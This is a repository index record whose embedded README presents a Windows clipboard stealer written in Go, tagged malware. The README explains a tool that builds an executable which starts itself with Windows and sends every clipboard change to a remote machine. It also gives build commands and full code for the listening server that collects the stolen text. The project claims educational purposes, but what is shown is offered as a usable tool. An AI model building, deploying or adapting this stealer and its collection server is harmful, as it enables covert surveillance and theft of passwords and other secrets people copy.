{"id":19942954,"url":"https://github.com/piterweb/windowsclipspy","last_synced_at":"2025-05-03T15:32:46.424Z","repository":{"id":38789006,"uuid":"506717345","full_name":"PiterWeb/WindowsClipSpy","owner":"PiterWeb","description":"📋 Clipboard  stealer 🦝 for Windows","archived":false,"fork":false,"pushed_at":"2022-06-24T15:41:03.000Z","size":5136,"stargazers_count":5,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-06-20T22:33:58.253Z","etag":null,"topics":["cli","clipboard","clipboard-copy","go","golang","http","malware","stealer","tool","windows"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/PiterWeb.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"License","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-06-23T16:40:40.000Z","updated_at":"2024-06-10T16:00:41.000Z","dependencies_parsed_at":"2022-09-11T06:51:40.364Z","dependency_job_id":null,"html_url":"https://github.com/PiterWeb/WindowsClipSpy","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PiterWeb%2FWindowsClipSpy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PiterWeb%2FWindowsClipSpy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PiterWeb%2FWindowsClipSpy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PiterWeb%2FWindowsClipSpy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PiterWeb","download_url":"https://codeload.github.com/PiterWeb/WindowsClipSpy/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":224365302,"owners_count":17299156,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cli","clipboard","clipboard-copy","go","golang","http","malware","stealer","tool","windows"],"created_at":"2024-11-13T00:14:50.588Z","updated_at":"2024-11-13T00:14:51.168Z","avatar_url":"https://github.com/PiterWeb.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 👓 Windows Clip Spy\n\n### Description \n\n💻 This is a terminal tool 🔧 which generates an executable to send your clipboard 📋 on each update to another machine ⚙. Made with educational porpuses\n\n## Purpouse \n\n📖 Learn \n\n - how to interact with Windows to start a programm on the OS init\n - get the clipboard on updates\n - create a simple terminal tool from scratch to generate executables\n - make golang background programs\n\n## Technologies used 📘\n\n### Golang  (Go)\n\n#### Pakages  📦:\n\n 1. clipboard (Get the clipboard)\n 2. go-autostart (Start on the Windows init)\n 3. go-toml (Set and get config vars between the terminal tool and the final executable)\n\n## How to use it\n\n### Prerequisites :\n - go 1.18\n#### Clone the repository 📎\n    git clone https://github.com/PiterWeb/WindowsClipSpy\n    cd WindowsClipSpy\n#### Install all the packages 📉\n\n    go mod install\n    go mod verify\n\n#### Build the terminal tool 👷‍♂️\n\n    go build .\n    # This will generate the tool on an executable at the root folder of the project\n\n#### Use the tool 🔨\n\nOpen the executable and introduce the config in the terminal that will appear\n\n#### Listen for the clipboard on the url you specified 🔊\n\nI had prepare the code for the server with the go http package.\nThis code should be runned on a different folder to work well.\n\n    // \u003cotherfolder\u003e/server.go\n    \n    package  main\n    \n    import (\n\t    \"fmt\"\n\t    \"io/ioutil\"\n\t    \"log\"\n\t    \"net/http\"\n    )\n    \n    const (\n\t    Port = \"8080\"\n\t    Host = \"localhost\"\n\t)\n\t\n\tfunc main() {\n\t\tfmt.Println(\"Server is running on port: \", Port)\n\t\t\n\t\thttp.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t\n\t\t\tbody, err  := ioutil.ReadAll(r.Body)\n\t\t\t\n\t\t\tif err !=  nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\t\t\t\n\t\t\tfmt.Println(string(body))\n\t\t})\n\t\t\n\t\thttp.ListenAndServe(Host+\":\"+Port, nil)\n\t}\n\t\n  ---\n  \n\n\tcd \u003cotherfolder\u003e\n    go mod init github.com/PiterWeb/WindowsClipSpy/server\n    go run server.go\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpiterweb%2Fwindowsclipspy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpiterweb%2Fwindowsclipspy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpiterweb%2Fwindowsclipspy/lists"}